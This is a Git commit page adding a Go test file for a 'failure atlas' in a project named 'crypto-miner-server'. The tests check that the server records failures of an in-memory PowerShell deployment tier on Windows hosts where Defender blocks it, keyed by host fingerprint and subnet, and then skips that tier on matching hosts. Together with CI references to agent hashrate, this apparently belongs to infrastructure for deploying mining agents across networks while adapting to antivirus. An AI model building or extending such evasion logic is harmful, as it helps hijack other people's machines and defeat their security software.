Add phenotype cloning, failure atlas, AI court session, and clearance L0-L4
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
69
server/internal/atlas/failure_atlas_test.go
Normal file
69
server/internal/atlas/failure_atlas_test.go
Normal file
@@ -0,0 +1,69 @@
|
||||
package atlas
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
func TestRecordFiveDefenderPowerShellFailuresSkipSubtree(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
fp := strategy.HostFingerprint{GOOS: "windows", AVBlocks: true, Subnet: "192.168.1"}
|
||||
key := fp.Key()
|
||||
atlas := NewFailureAtlas(database)
|
||||
|
||||
for i := 0; i < 5; i++ {
|
||||
if err := atlas.RecordFailure(key, "ps_inmemory", []string{ConditionDefenderOn}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
probes := ProbeSnapshot{DefenderOn: true, PowerShell: true, Docker: true, WSL: true, DotNet: true}
|
||||
if !atlas.ShouldSkipSubtree(key, "ps_inmemory", probes, fp) {
|
||||
t.Fatal("expected ps_inmemory subtree skip after 5 defender failures")
|
||||
}
|
||||
|
||||
rules, err := atlas.GetAtlasRules(key, fp.GOOS)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(rules) == 0 || rules[0].FailCount < MinFailCountForSubtree {
|
||||
t.Fatalf("expected active atlas rule, got %+v", rules)
|
||||
}
|
||||
|
||||
skips, err := atlas.ComputeSkips(fp, nil, nil, boolPtr(true))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(skips) == 0 || skips[0].Tier != "ps_inmemory" {
|
||||
t.Fatalf("expected ps_inmemory atlas skip, got %+v", skips)
|
||||
}
|
||||
}
|
||||
|
||||
func TestShouldSkipSubtreeRequiresActiveCondition(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
fp := strategy.HostFingerprint{GOOS: "windows", Subnet: "10.0.0"}
|
||||
key := fp.Key()
|
||||
atlas := NewFailureAtlas(database)
|
||||
for i := 0; i < 5; i++ {
|
||||
_ = atlas.RecordFailure(key, "ps_inmemory", []string{ConditionDefenderOn})
|
||||
}
|
||||
|
||||
probes := ProbeSnapshot{DefenderOn: false, PowerShell: true}
|
||||
if atlas.ShouldSkipSubtree(key, "ps_inmemory", probes, fp) {
|
||||
t.Fatal("should not skip when defender condition is inactive")
|
||||
}
|
||||
}
|
||||
|
||||
func boolPtr(v bool) *bool { return &v }
|
||||
Reference in New Issue
Block a user